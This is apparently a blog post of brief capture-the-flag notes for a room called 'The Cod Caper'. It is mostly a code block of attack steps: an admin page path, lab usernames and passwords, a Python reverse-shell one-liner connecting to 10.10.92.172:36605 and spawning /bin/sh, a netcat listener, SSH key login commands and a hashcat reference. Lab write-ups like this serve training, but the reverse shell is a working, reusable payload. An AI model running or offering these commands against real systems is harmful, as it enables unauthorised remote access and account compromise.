728x90
```
/administrator.php
# The Cod Caper
id : pingudad
pw : secretpass
python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.10.92.172",36605)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); subprocess.call(["/bin/sh","-i"]);'
nc -lvnp 36605
ssh -i id_rsa pingu@10.10.72.214
chmod 600 id_rsa
(hidden password) : pinguapingu
after this, just
ssh pingu@target_box_ip
and hidden password then it works !
hashcat
```
728x90
'hacking sorcerer' 카테고리의 다른 글
random = security high ? (0) | 2025.04.01 |
---|---|
fake pomodoro (0) | 2025.03.16 |
generate_password_verify.py (0) | 2025.03.12 |
the simplest dp problem (0) | 2025.03.11 |
Crypto exchange security whitepaper and Mitre ATT&CK; for bybit hacking (0) | 2025.03.09 |